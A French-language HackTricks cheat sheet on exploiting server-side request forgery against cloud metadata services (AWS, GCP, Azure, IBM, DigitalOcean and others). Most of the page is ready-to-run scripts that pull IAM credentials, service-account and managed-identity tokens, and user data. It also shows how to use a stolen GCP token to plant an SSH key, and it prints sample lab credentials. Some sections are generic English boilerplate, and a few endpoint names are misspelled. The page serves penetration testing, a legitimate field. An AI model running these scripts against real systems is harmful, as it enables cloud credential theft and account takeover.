35 KiB
Cloud SSRF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
AWS
Abus de SSRF dans l'environnement AWS EC2
La métadonnée peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'adresse suivante : http://169.254.169.254 (informations sur la métadonnée ici).
Il existe 2 versions de la métadonnée. La première permet d'accéder à la métadonnée via des requêtes GET (donc toute SSRF peut l'exploiter). Pour la version 2, IMDSv2, vous devez demander un jeton en envoyant une requête PUT avec un en-tête HTTP, puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est plus compliqué à exploiter avec une SSRF).
{% hint style="danger" %} Notez que si l'instance EC2 applique IMDSv2, selon la documentation, la réponse de la requête PUT aura une limite de saut de 1, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
De plus, IMDSv2 bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête X-Forwarded-For. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
{% endhint %}
Vous pouvez trouver des informations sur les points de terminaison de la métadonnée dans la documentation. Dans le script suivant, des informations intéressantes sont obtenues à partir de celle-ci :
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
En tant qu'exemple d'exposition de credentials IAM disponibles publiquement, vous pouvez visiter : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Vous pouvez également vérifier les credentials de sécurité EC2 publics sur : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Vous pouvez ensuite prendre ces credentials et les utiliser avec l'AWS CLI. Cela vous permettra de faire tout ce que le rôle a les permissions de faire.
Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Remarquez le aws_session_token, cela est indispensable pour que le profil fonctionne.
PACU peut être utilisé avec les identifiants découverts pour déterminer vos privilèges et essayer d'escalader les privilèges.
SSRF dans les informations d'identification AWS ECS (Container Service)
ECS, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'en charge pour vous. Si vous parvenez à compromettre le service en cours d'exécution dans ECS, les points de terminaison de métadonnées changent.
Si vous accédez à http://169.254.170.2/v2/credentials/<GUID>, vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez trouver le <GUID>. Pour trouver le <GUID>, vous devez lire la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI à l'intérieur de la machine.
Vous pourriez être en mesure de le lire en exploitant une traversal de chemin vers file:///proc/self/environ
L'adresse http mentionnée devrait vous donner la AccessKey, SecretKey et le token.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
{% hint style="info" %} Notez que dans certains cas, vous pourrez accéder à l'instance de métadonnées EC2 à partir du conteneur (vérifiez les limitations de TTL d'IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pouvez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2. {% endhint %}
SSRF pour AWS Lambda
Dans ce cas, les informations d'identification sont stockées dans des variables d'environnement. Ainsi, pour y accéder, vous devez accéder à quelque chose comme file:///proc/self/environ.
Les noms des variables d'environnement intéressantes sont :
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCES_KEY_ID
De plus, en plus des informations d'identification IAM, les fonctions Lambda disposent également de données d'événement qui sont transmises à la fonction lors de son démarrage. Ces données sont mises à disposition de la fonction via l'interface d'exécution et peuvent contenir des informations sensibles (comme dans les stageVariables). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à l'adresse http://localhost:9001/2018-06-01/runtime/invocation/next.
{% hint style="warning" %} Notez que les informations d'identification lambda se trouvent dans les variables d'environnement. Donc, si la trace de la pile du code lambda imprime les variables d'environnement, il est possible de les exfiltrer en provoquant une erreur dans l'application. {% endhint %}
URL SSRF pour AWS Elastic Beanstalk
Nous récupérons l'accountId et la region à partir de l'API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Nous récupérons ensuite les AccessKeyId, SecretAccessKey et Token de l'API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Ensuite, nous utilisons les identifiants avec aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
GCP
Vous pouvez trouver ici la documentation sur les points de terminaison de métadonnées.
URL SSRF pour Google Cloud
Nécessite l'en-tête "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes :
Points de terminaison intéressants pour extraire des informations :
# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta ne nécessite PAS d'en-tête pour le moment (merci à Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
{% hint style="danger" %} Pour utiliser le jeton du compte de service exfiltré, vous pouvez simplement faire :
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
{% endhint %}
Ajouter une clé SSH
Extraire le jeton
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Vérifiez la portée du jeton
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Maintenant, poussez la clé SSH.
{% code overflow="wrap" %}
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
{% endcode %}
Digital Ocean
{% hint style="warning" %} Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver les informations d'identification du bot de métadonnées {% endhint %}
Documentation disponible sur https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Azure
Azure VM
- Doit contenir l'en-tête
Metadata: true - Ne doit pas contenir d'en-tête
X-Forwarded-For
{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
{% endcode %} {% endtab %}
{% tab title="PS" %}
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
{% endtab %} {% endtabs %}
Azure App Service
À partir de env, vous pouvez obtenir les valeurs de IDENTITY_HEADER et IDENTITY_ENDPOINT. Vous pouvez les utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
{% hint style="warning" %} Notez que par défaut, les métadonnées ne sont pas activées dans IBM, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud. {% endhint %}
{% code overflow="wrap" %}
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
{% endcode %}
Packetcloud
Documentation disponible à l'adresse https://metadata.packet.net/userdata
OpenStack/RackSpace
(en-tête requis ? inconnu)
http://169.254.169.254/openstack
HP Helion
(header requis ? inconnu)
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud is a cloud computing platform provided by Oracle Corporation. It offers a wide range of cloud services, including infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS).
SSRF Vulnerability in Oracle Cloud
Server-side Request Forgery (SSRF) is a common vulnerability that can be exploited in cloud environments, including Oracle Cloud. SSRF occurs when an attacker is able to make a server-side request from the vulnerable application to an arbitrary domain or IP address specified by the attacker.
In the context of Oracle Cloud, an SSRF vulnerability can allow an attacker to make requests to internal resources or services within the cloud environment. This can potentially lead to unauthorized access to sensitive information, such as database credentials or other internal resources.
Exploiting SSRF in Oracle Cloud
To exploit an SSRF vulnerability in Oracle Cloud, an attacker typically needs to identify a vulnerable endpoint that accepts user-supplied URLs or IP addresses. This can be a web application or an API endpoint that performs server-side requests.
Once a vulnerable endpoint is identified, the attacker can craft a malicious request that includes a URL or IP address pointing to an internal resource or service within the Oracle Cloud environment. The attacker can then send this request to the vulnerable endpoint, causing the server to make the request on behalf of the attacker.
Impact of SSRF in Oracle Cloud
The impact of an SSRF vulnerability in Oracle Cloud can be significant. An attacker can potentially access sensitive information, compromise internal resources, or even pivot to other parts of the cloud environment.
For example, an attacker could exploit an SSRF vulnerability to access a database server within the Oracle Cloud environment and extract sensitive data. This could include customer information, financial data, or other confidential information.
Mitigating SSRF in Oracle Cloud
To mitigate SSRF vulnerabilities in Oracle Cloud, it is important to follow secure coding practices and implement proper input validation and sanitization. Here are some recommended mitigation techniques:
- Validate and sanitize user-supplied URLs or IP addresses before making server-side requests.
- Implement whitelisting or allowlisting of trusted domains or IP addresses to restrict the destinations of server-side requests.
- Use network-level controls, such as firewalls or security groups, to restrict outbound connections from the cloud environment.
- Regularly update and patch software and libraries to address known vulnerabilities.
By implementing these mitigation techniques, organizations can reduce the risk of SSRF vulnerabilities in their Oracle Cloud environments and protect against potential attacks.
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Peut contenir des clés API, des adresses IP internes et des ports
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher is a popular open-source platform for managing and orchestrating containers. It provides a user-friendly interface for deploying and managing containerized applications across different cloud providers. With Rancher, you can easily create and manage Kubernetes clusters, monitor container performance, and scale applications as needed.
Rancher also offers built-in support for integrating with various cloud providers, such as AWS, GCP, and Azure. This allows you to seamlessly deploy and manage your containers on these platforms without having to manually configure each one.
However, like any other cloud-based platform, Rancher is not immune to security vulnerabilities. One common vulnerability that can be exploited is Server-Side Request Forgery (SSRF). In an SSRF attack, an attacker tricks the server into making requests to internal or external resources on behalf of the server itself.
In the context of Rancher, an SSRF vulnerability can allow an attacker to make unauthorized requests to internal services or cloud APIs. This can lead to unauthorized access to sensitive data, remote code execution, or even a complete compromise of the underlying infrastructure.
To prevent SSRF attacks in Rancher, it is important to follow security best practices such as:
- Implementing proper input validation and sanitization to prevent malicious input from being processed.
- Whitelisting allowed URLs or IP addresses that the server can make requests to.
- Restricting the server's network access to only necessary resources.
- Regularly updating Rancher and its dependencies to patch any known vulnerabilities.
By taking these precautions, you can significantly reduce the risk of SSRF attacks and ensure the security of your Rancher deployment.
curl http://rancher-metadata/<version>/<path>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. Essayez-le gratuitement dès aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.